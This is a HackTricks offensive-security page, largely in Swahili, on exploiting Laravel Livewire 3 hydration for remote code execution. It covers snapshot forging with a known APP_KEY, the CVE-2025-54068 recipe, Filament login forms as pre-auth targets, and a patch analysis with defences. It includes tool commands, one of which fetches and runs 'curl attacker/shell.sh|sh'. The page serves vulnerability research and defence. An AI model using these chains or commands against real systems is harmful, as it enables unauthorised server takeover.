Laravel Livewire Hydration & Synthesizer Abuse

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks

Muhtasari wa state machine ya Livewire

Vipengele vya Livewire 3 hubadilishana state yao kupitia snapshots ambazo zina data, memo, na checksum. Kila POST kwenda /livewire/update hu-rehydrate JSON snapshot upande wa server na kutekeleza calls/updates zilizopangwa.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Mtu yeyote anayeshikilia APP_KEY (inayotumika kutokeza $hashKey) anaweza kwa hiyo kutengeneza snapshots za kiholela kwa kuhesabu upya HMAC.

Sifa changamano huandikwa kama synthetic tuples zinazotambuliwa na Livewire\Drawer\BaseUtils::isSyntheticTuple(); kila tuple ni [value, {"s":"<key>", ...meta}]. Kiini cha hydration kimsingi hukabidhi kila tuple kwa synth iliyochaguliwa katika HandleComponents::$propertySynthesizers na hujirudia kupitia watoto:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Muundo huu wa recursive hufanya Livewire kuwa generic object-instantiation engine mara tu mshambulizi anadhibiti tuple metadata au tuple yoyote iliyojengwa ndani inayochakatwa wakati wa recursion.

Synthesizers zinazoipa gadget primitives

SynthesizerTabia inayodhibitiwa na mshambulizi
CollectionSynth (clctn)Huanzisha new $meta['class']($value) baada ya ku-rehydrate kila child. Kila class yenye array constructor inaweza kuundwa, na kila item yenyewe inaweza kuwa synthetic tuple.
FormObjectSynth (form)Huita new $meta['class']($component, $path), kisha huweka kila public property kutoka kwa watoto wanaodhibitiwa na mshambulizi kupitia $hydrateChild. Constructors zinazokubali parameters mbili za loosely typed (au default args) zinatosha kufikia arbitrary public properties.
ModelSynth (mdl)Wakati key haipo kwenye meta hufanya return new $class; ikiwezesha zero-argument instantiation ya class yoyote chini ya udhibiti wa mshambulizi.

Kwa sababu synths huita $hydrateChild kwenye kila nested element, arbitrary gadget graphs zinaweza kujengwa kwa kuweka tuples recursively.

Kughushi snapshots wakati APP_KEY inajulikana

  1. Nasa ombi halali la /livewire/update na decode components[0].snapshot.
  2. Ingiza nested tuples zinazoelekeza kwenye gadget classes na hesabu tena checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode snapshot, acha _token/memo bila kuguswa, na replay ombi.

Uthibitisho mdogo wa utekelezaji hutumia Guzzle’s FnStream na Flysystem’s ShardedPrefixPublicUrlGenerator. Tuple moja huanzisha FnStream na constructor data { "__toString": "phpinfo" }, nyingine huanzisha ShardedPrefixPublicUrlGenerator na [FnStreamInstance] kama $prefixes. Wakati Flysystem inapocast kila prefix kuwa string, PHP huita attacker-provided __toString callable, ikihita function yoyote bila arguments.

Kutoka kwa function calls hadi full RCE

Kwa kutumia instantiation primitives za Livewire, Synacktiv ilibadilisha chain ya phpggc Laravel/RCE4 ili hydration ianzishe object ambayo public Queueable state yake huanzisha deserialization:

  1. Queueable trait – object yoyote inayotumia Illuminate\Bus\Queueable huonyesha public $chained na huendesha unserialize(array_shift($this->chained)) katika dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) huanzishwa kupitia CollectionSynth / FormObjectSynth na public $chained imejazwa.
  3. phpggc Laravel/RCE4Adapted – serialized blob iliyohifadhiwa katika $chained[0] hujenga PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() hatimaye huita call_user_func_array($closure, $args) ikiwezesha system($cmd).
  4. Stealth termination – kwa kukabidhi second FnStream callable kama [new Laravel\Prompts\Terminal(), 'exit'], ombi linaisha kwa exit() badala ya exception ya kelele, likiweka HTTP response safi.

Ku-automate snapshot forgery

synacktiv/laravel-crypto-killer sasa inakuja na livewire mode inayounganisha kila kitu:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Chombo huchanganua snapshot iliyokamatwa, huingiza gadget tuples, huhesabu upya checksum, na kuchapisha payload ya /livewire/update iliyo tayari kutumwa.

CVE-2025-54068 – RCE without APP_KEY

Kulingana na vendor advisory, suala hili linaathiri Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) na ni la kipekee kwa v3.

updates huunganishwa ndani ya component state baada ya snapshot checksum kuthibitishwa. Ikiwa property ndani ya snapshot ni (au inakuwa) synthetic tuple, Livewire hutumia tena meta yake wakati wa hydrating thamani ya update inayodhibitiwa na mshambuliaji:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Tafuta Livewire component yenye public property isiyo na type (kwa mfano, public $count;).
  2. Tuma update inayoweka property hiyo kuwa []. Snapshot inayofuata sasa huihifadhi kama [[], {"s": "arr"}].

Flow ndogo ya type-juggling inaonekana hivi:

POST /livewire/update
...
"updates": {"count": []}

Kisha snapshot inayofuata huhifadhi tuple inayobeba metadata ya arr synthesizer:

"count": [[], {"s": "arr"}]
  1. Tengeneza updates payload nyingine ambapo property hiyo ina deeply nested array inayopachika tuples kama [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Wakati wa recursion, hydrate() huchakata kila nested child kivyake, kwa hiyo synth keys/classes zilizochaguliwa na attacker hupewa nafasi hata kama outer tuple na checksum hazijabadilika.
  3. Tumia tena primitives zilezile za CollectionSynth/FormObjectSynth kuinstantiate Queueable gadget ambayo $chained[0] ina phpggc payload. Livewire husindika forged updates, huita dispatchNextJobInChain(), na kufikia system(<cmd>) bila kujua APP_KEY.

Sababu kuu zinazofanya hii ifanye kazi:

  • updates hazijajumuishwa kwenye snapshot checksum.
  • getMetaForPath() huamini synth metadata yoyote ambayo tayari ilikuwepo kwa property hiyo hata kama attacker aliilazimisha kuwa tuple kupitia weak typing.
  • Recursion pamoja na weak typing huruhusu kila nested array kufasiriwa kama tuple mpya kabisa, hivyo arbitrary synth keys na arbitrary classes hatimaye hufika hydration.

High-value pre-auth target: Filament login forms

Applications zilizojengwa juu ya Livewire mara nyingi hufichua pre-auth surface rahisi zaidi kuliko toy public $count; property. Kwa mfano, Filament login pages mara nyingi huhydrate weakly typed $form object ambayo tayari imehifadhiwa kama form tuple kwenye snapshot. Hilo linaondoa hatua ya setup ya “scalar -> array -> arr tuple” kabisa:

  • Snapshot tayari ina kitu kama {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Attacker anaweza kutuma updates.form yenye nested malicious tuples moja kwa moja, kwa sababu recursion hatimaye itatafsiri upya children kama [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Hii ndiyo sababu pre-auth Livewire entrypoints zinazofichua FormObjectSynth objects ni za kuvutia zaidi: tayari zinatoa instantiation na public-property assignment pamoja.

Patch analysis: preserve raw metadata during update recursion

The fix introduces a dedicated hydratePropertyUpdate() path so nested update values no longer call generic hydrate($child, ...) on attacker-controlled children:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Athari ya usalama ya patch:

  • Nested updates zinathibitishwa upya dhidi ya original raw snapshot path badala ya kuamini fresh attacker-supplied tuple metadata.
  • Recursive hydration haiachi tena watoto kufafanua upya s au class katikati ya mchakato.
  • Hii inazuia zote mbili arbitrary synthesizer switching na arbitrary class selection ndani ya nested update arrays.

Livepyre – end-to-end exploitation

Livepyre hu-automate APP_KEY-less CVE na signed-snapshot path zote mbili:

  • Hufanya fingerprint ya toleo la Livewire lililodeploywa kwa kuchambua <script src="/livewire/livewire.js?id=HASH"> (au ?v=HASH) na kuoanisha hash na vulnerable releases.
  • Hukusanya baseline snapshots kwa kurudia benign actions na kutoa components[].snapshot.
  • Hutengeneza ama updates-only payload (CVE-2025-54068) au forged snapshot (known APP_KEY) iki-embed phpggc chain.
  • Ikiwa hakuna object-typed parameter inapatikana ndani ya snapshot, Livepyre hurudi kwenye brute-forcing candidate params ili kufikia coercible property.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check huendesha probe isiyo ya uharibifu, -F huruka version gating, -H na -P huongeza custom headers au proxies, na --function/--param hubinafsisha php function inayoitwa na gadget chain.

Masuala ya ulinzi

  • Boresha hadi Livewire builds zilizorekebishwa (>= 3.6.4 kulingana na vendor bulletin) na weka vendor patch kwa CVE-2025-54068.
  • Epuka public properties zilizo na weakly typed katika Livewire components; explicit scalar types huzuia property values kubadilishwa kuwa arrays/tuples.
  • Sajili tu synthesizers unazohitaji kweli na chukulia user-controlled metadata ($meta['class']) kama isiyoaminika.
  • Kataa updates zinazobadilisha JSON type ya property (kwa mfano, scalar -> array) isipokuwa kama zimeruhusiwa wazi, na derive upya synth metadata badala ya kutumia tena stale tuples.
  • Zungusha APP_KEY mara moja baada ya disclosure yoyote kwa sababu huwezesha offline snapshot forging bila kujali code-base imerekebishwa kiasi gani.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Vinjari katalogi kamili ya HackTricks Training kwa ajili ya njia za assessment (ARTA/GRTA/AzRTA) na Linux Hacking Expert (LHE).

Support HackTricks